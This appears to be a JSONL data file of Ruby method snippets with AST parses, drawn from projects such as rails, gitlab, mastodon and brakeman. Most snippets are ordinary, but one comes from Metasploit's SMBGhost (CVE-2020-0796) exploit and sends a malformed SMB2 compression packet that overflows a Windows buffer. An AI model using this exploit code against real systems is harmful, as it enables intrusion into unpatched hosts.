{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":28,"raw_source":"def test_an_XHTML_default_transitional_doctype\n      haml    = %q{!!!}\n      html    = %q{<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">}\n      locals  = {}\n      options = {:format=>:xhtml}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_an_XHTML_default_transitional_doctype\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"str\",\"children\":[\"!!!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<!DOCTYPE html PUBLIC \\\"-//W3C//DTD XHTML 1.0 Transitional//EN\\\" \\\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\\\">\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"xhtml\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"8c8c93ea-5e05-441c-9061-c39dc0743c5d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":68,"raw_source":"def test_marshal_dump\n    preloaded = Post.includes(:first_blue_tags).first\n    assert_equal preloaded, Marshal.load(Marshal.dump(preloaded))\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_marshal_dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preloaded\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"first_blue_tags\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"preloaded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"preloaded\"]}]}]}]}]}]}","id":"ff1e4776-49dd-4d00-84ea-db5f60f93156"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/encrypted/encrypted_command.rb","start_line":37,"raw_source":"def key_path\n          options[:key]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]}","id":"e09274da-8c13-4568-9ff3-42d546140455"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_quote_table_name.rb","start_line":10,"raw_source":"def run_check\n    if (version_between?('2.0.0', '2.3.13') or \n        version_between?('3.0.0', '3.0.9'))\n\n      if uses_quote_table_name?\n        confidence = :high\n      else\n        confidence = :medium\n      end\n\n      if rails_version =~ /^3/\n        message = msg(\"Rails versions before 3.0.10 have a vulnerability in \", msg_code(\"quote_table_name\"), \" \", msg_cve(\"CVE-2011-2930\"))\n      else\n        message = msg(\"Rails versions before 2.3.14 have a vulnerability in \", msg_code(\"quote_table_name\"), \" \", msg_cve(\"CVE-2011-2930\"))\n      end\n\n      warn :warning_type => \"SQL Injection\",\n        :warning_code => :CVE_2011_2930,\n        :message => message,\n        :confidence => confidence,\n        :gem_info => gemfile_or_environment,\n        :link_path => \"https://groups.google.com/d/topic/rubyonrails-security/ah5HN0S8OJs/discussion\",\n        :cwe_id => [89]\n    end\n  end","complexity_score":25.75,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.13\"]}]},{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.9\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uses_quote_table_name?\"]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"medium\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails_version\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^3\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Rails versions before 3.0.10 have a vulnerability in \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"quote_table_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2011-2930\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Rails versions before 2.3.14 have a vulnerability in \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"quote_table_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2011-2930\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2011_2930\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/ah5HN0S8OJs/discussion\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[89]}]}]}]}]}]},null]}]}","id":"19208459-8341-485f-8488-103e0f16a591"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/uploads/local.rb","start_line":43,"raw_source":"def delete_dir!(path)\n      Dir.rmdir(path)\n    rescue Errno::ENOENT\n      # Ignore: path does not exist\n    rescue Errno::ENOTDIR\n      # Ignore: path is not a dir\n    rescue Errno::ENOTEMPTY, Errno::EEXIST\n      # Ignore: dir is not empty\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_dir!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"rmdir\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOTDIR\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOTEMPTY\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EEXIST\"]}]},null,null]},null]}]}","id":"fa3d38d4-8bf0-4ce0-9d70-cd7d90472095"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb","start_line":172,"raw_source":"def write_srvnet_buffer_hdr(data, offset)\n    dispatcher = smb_negotiate\n    dispatcher.tcp_socket.get_once  # disregard the response\n\n    dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)\n    pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(\n      original_compressed_segment_size: 0xffffefff,\n      compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,\n      offset: dummy_data.length,\n      compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes\n    )\n    dispatcher.send_packet(pkt)\n    dispatcher.tcp_socket.close\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"write_srvnet_buffer_hdr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dispatcher\",{\"type\":\"send\",\"children\":[null,\"smb_negotiate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dispatcher\"]},\"tcp_socket\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"dummy_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[65]},{\"type\":\"int\",\"children\":[90]}]}]},\"chr\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OverflowSize\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"SMB2\"]},\"Packet\"]},\"CompressionTransformHeader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_compressed_segment_size\"]},{\"type\":\"int\",\"children\":[4294963199]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compression_algorithm\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"SMB2\"]},\"CompressionCapabilities\"]},\"LZNT1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dummy_data\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compressed_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dummy_data\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CorruptLZNT1\"]},\"compress\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},\"bytes\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dispatcher\"]},\"send_packet\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dispatcher\"]},\"tcp_socket\"]},\"close\"]}]}]}","id":"a7a22209-8c82-4f34-a34f-b56993e15f6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":936,"raw_source":"def project_allowed_visibility_levels(project)\n    Gitlab::VisibilityLevel.values.select do |level|\n      project.visibility_level_allowed?(level) && restricted_levels.exclude?(level)\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"project_allowed_visibility_levels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"values\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"visibility_level_allowed?\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restricted_levels\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}]}","id":"4864d31d-be87-49dc-9b92-6e905999de08"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/commandline.rb","start_line":153,"raw_source":"def test_ensure_ignore_notes\n    ignore_file_missing_notes = Tempfile.new('brakeman.ignore')\n    ignore_file_missing_notes.write IGNORE_WITH_MISSING_NOTES_JSON\n    ignore_file_missing_notes.close\n\n    assert_exit Brakeman::Empty_Ignore_Note_Exit_Code do\n      scan_app '--no-exit-on-warn',\n               '--ensure-ignore-notes',\n               '-i', ignore_file_missing_notes.path.to_s\n    end\n    ignore_file_missing_notes.unlink\n\n    ignore_file_with_notes = Tempfile.new('brakeman.ignore')\n    ignore_file_with_notes.write IGNORE_WITH_NOTES_JSON\n    ignore_file_with_notes.close\n\n    assert_exit do\n      scan_app '--no-exit-on-warn',\n               '--ensure-ignore-notes',\n               '-i', ignore_file_with_notes.path.to_s\n    end\n    ignore_file_with_notes.unlink\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ensure_ignore_notes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ignore_file_missing_notes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"brakeman.ignore\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_missing_notes\"]},\"write\",{\"type\":\"const\",\"children\":[null,\"IGNORE_WITH_MISSING_NOTES_JSON\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_missing_notes\"]},\"close\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_exit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Empty_Ignore_Note_Exit_Code\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"scan_app\",{\"type\":\"str\",\"children\":[\"--no-exit-on-warn\"]},{\"type\":\"str\",\"children\":[\"--ensure-ignore-notes\"]},{\"type\":\"str\",\"children\":[\"-i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_missing_notes\"]},\"path\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_missing_notes\"]},\"unlink\"]},{\"type\":\"lvasgn\",\"children\":[\"ignore_file_with_notes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"brakeman.ignore\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_with_notes\"]},\"write\",{\"type\":\"const\",\"children\":[null,\"IGNORE_WITH_NOTES_JSON\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_with_notes\"]},\"close\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_exit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"scan_app\",{\"type\":\"str\",\"children\":[\"--no-exit-on-warn\"]},{\"type\":\"str\",\"children\":[\"--ensure-ignore-notes\"]},{\"type\":\"str\",\"children\":[\"-i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_with_notes\"]},\"path\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_file_with_notes\"]},\"unlink\"]}]}]}","id":"ebde7fc8-f9da-441d-8281-4651831d9ef8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/followed_tags_controller.rb","start_line":12,"raw_source":"def index\n    render json: @results.map(&:tag), each_serializer: REST::TagSerializer, relationships: TagRelationshipsPresenter.new(@results.map(&:tag), current_user&.account_id)\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"each_serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"TagSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagRelationshipsPresenter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account_id\"]}]}]}]}]}]}","id":"3273f9bd-f3d5-4774-ac68-1b3b22e33e54"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_list_serializer.rb","start_line":51,"raw_source":"def include_categories?\n    scope.can_lazy_load_categories?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_categories?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_lazy_load_categories?\"]}]}","id":"dfc742dd-9a08-43b5-a1c4-5a579e0cc9c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/migration_support/migration_context.rb","start_line":93,"raw_source":"def migration\n        @migration ||= load_migration\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migration\"]},{\"type\":\"send\",\"children\":[null,\"load_migration\"]}]}]}","id":"3bc88a41-e2b5-4f67-8dce-1fdc32583de6"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_minissl.rb","start_line":15,"raw_source":"def test_raises_with_unreadable_keystore_file\n      ctx = Puma::MiniSSL::Context.new\n\n      File.stub(:exist?, true) do\n        File.stub(:readable?, false) do\n          exception = assert_raises(ArgumentError) { ctx.keystore = \"/unreadable/keystore\" }\n          assert_equal(\"Keystore file '/unreadable/keystore' is not readable\", exception.message)\n        end\n      end\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_with_unreadable_keystore_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"Context\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"exist?\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"readable?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"keystore=\",{\"type\":\"str\",\"children\":[\"/unreadable/keystore\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Keystore file '/unreadable/keystore' is not readable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}]}]}]}","id":"a682c48b-33b1-4b07-be33-682f2dae471c"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api/v1/areas_controller.rb","start_line":12,"raw_source":"def create\n    @area = current_api_user.areas.build(area_params)\n\n    if @area.save\n      render json: @area, status: :created\n    else\n      render json: { errors: @area.errors.full_messages }, status: :unprocessable_content\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@area\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_api_user\"]},\"areas\"]},\"build\",{\"type\":\"send\",\"children\":[null,\"area_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@area\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@area\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@area\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_content\"]}]}]}]}]}]}]}","id":"375827a9-1d41-4e10-aee5-78d9e6f7454c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":387,"raw_source":"def test_run_windows_style_path\n      create_test_file :models, \"account\"\n      create_test_file :controllers, \"accounts_controller\"\n\n      # double-escape backslash -- once for Ruby and again for shelling out\n      run_test_command(\"test\\\\\\\\models\").tap do |output|\n        assert_match \"AccountTest\", output\n        assert_match \"1 runs, 1 assertions, 0 failures, 0 errors, 0 skips\", output\n      end\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_run_windows_style_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_test_file\",{\"type\":\"sym\",\"children\":[\"models\"]},{\"type\":\"str\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[null,\"create_test_file\",{\"type\":\"sym\",\"children\":[\"controllers\"]},{\"type\":\"str\",\"children\":[\"accounts_controller\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_test_command\",{\"type\":\"str\",\"children\":[\"test\\\\\\\\models\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"AccountTest\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"1 runs, 1 assertions, 0 failures, 0 errors, 0 skips\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}","id":"f95f2a93-adb0-4ce7-9577-e662368b9c32"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":299,"raw_source":"def change_task_status(new_task)\n      status_label = new_task.complete? ? Taskable::COMPLETED : Taskable::INCOMPLETE\n      body = \"marked the checklist item **#{new_task.source}** as #{status_label}\"\n\n      track_issue_event(:track_issue_description_changed_action)\n\n      create_note(NoteSummary.new(noteable, project, author, body, action: 'task'))\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change_task_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_task\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status_label\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"complete?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Taskable\"]},\"COMPLETED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Taskable\"]},\"INCOMPLETE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"marked the checklist item **\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\"** as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_label\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"track_issue_event\",{\"type\":\"sym\",\"children\":[\"track_issue_description_changed_action\"]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"task\"]}]}]}]}]}]}]}","id":"44b54916-d460-443d-b283-d90dc44d1fd1"}
